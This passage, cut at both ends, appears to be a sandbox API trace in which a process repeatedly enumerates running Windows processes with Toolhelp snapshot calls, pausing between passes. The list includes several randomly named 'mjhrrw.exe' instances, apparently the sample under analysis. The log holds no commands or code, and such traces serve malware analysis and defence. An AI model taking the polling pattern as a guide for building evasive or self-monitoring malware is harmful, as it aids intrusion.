lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0216.630] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0216.631] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0216.631] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0216.632] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0216.632] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0216.633] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0216.633] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0216.633] CloseHandle (hObject=0x370) returned 1 [0216.633] Sleep (dwMilliseconds=0x1f4) [0217.244] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x318 [0217.253] Process32FirstW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0217.253] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0217.257] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0217.258] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.258] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0217.259] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0217.259] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0217.260] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0217.260] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0217.261] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.261] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0217.262] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.262] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.263] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0217.264] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.264] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.265] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.266] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.267] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.267] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.268] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.268] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.269] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.269] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.270] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0217.270] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.271] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0217.272] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0217.272] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0217.273] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0217.273] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0217.274] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0217.274] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0217.275] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x46, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0217.276] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0217.276] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0217.277] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0217.277] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0217.278] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0217.278] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0217.279] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0217.280] Process32NextW (in: hSnapshot=0x318, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0217.280] CloseHandle (hObject=0x318) returned 1 [0217.280] Sleep (dwMilliseconds=0x1f4) [0218.796] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0218.800] Process32FirstW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0218.800] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0218.800] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0218.801] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.801] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0218.802] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0218.802] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0218.803] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0218.803] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0218.804] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0218.804] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0218.804] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.805] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.805] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0218.806] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.806] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.807] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.807] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.808] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.808] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.809] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.809] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.810] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.810] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.810] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0218.811] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.812] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0218.812] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0218.813] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0218.813] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0218.814] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0218.814] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.814] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0218.815] Process32NextW (in: 